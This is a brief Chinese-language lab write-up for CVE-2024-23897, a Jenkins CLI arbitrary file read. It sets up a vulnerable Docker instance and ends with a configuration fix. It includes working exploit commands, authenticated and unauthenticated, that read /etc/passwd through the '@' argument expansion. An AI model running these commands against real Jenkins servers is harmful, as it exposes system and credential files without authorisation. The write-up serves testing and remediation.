此问题被分配了 CVE 标识符 CVE-2024-23897,被描述为一种通过内置命令行接口实现的任意文件读取漏洞。该命令解析器具有一个特性,可以将参数中的 @ 字符后跟文件路径替换为该文件的内容(expandAtFiles)。此特性默认启用,并且 Jenkins 2.441 及更早版本、LTS 2.426.2 及更早版本未禁用它。
对于此 PoC,我使用 Docker 安装了 Jenkins 2.426.2 来测试该漏洞的利用。
docker run -p 8080:8080 -p 50000:50000 -v jenkins_home:/var/jenkins_home jenkins/jenkins:2.426.2
在创建用户和密码后,我在攻击机上下载了 Jenkins CLI 客户端(jenkins-cli.jar)。
然后,我编写了用于利用的命令。 在此命令中,我们需要拥有 Jenkins 用户的凭据。
java -jar jenkins-cli.jar -s http://192.168.1.45:8080/ -auth "user:aze+123" connect-node "@/etc/passwd"
另一个命令允许在没有身份验证的情况下显示文件的前几行。
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://192.168.1.45:8080' help "@/etc/passwd"
要应对此漏洞,你需要导航到名为 config.xml 的 Jenkins 配置文件中(在我的案例中,它位于 Docker 容器内,因此我切换到容器的 shell 模式)。
<expandAtFiles>false</expandAtFiles>
然后重启 Jenkins:
service jenkins restart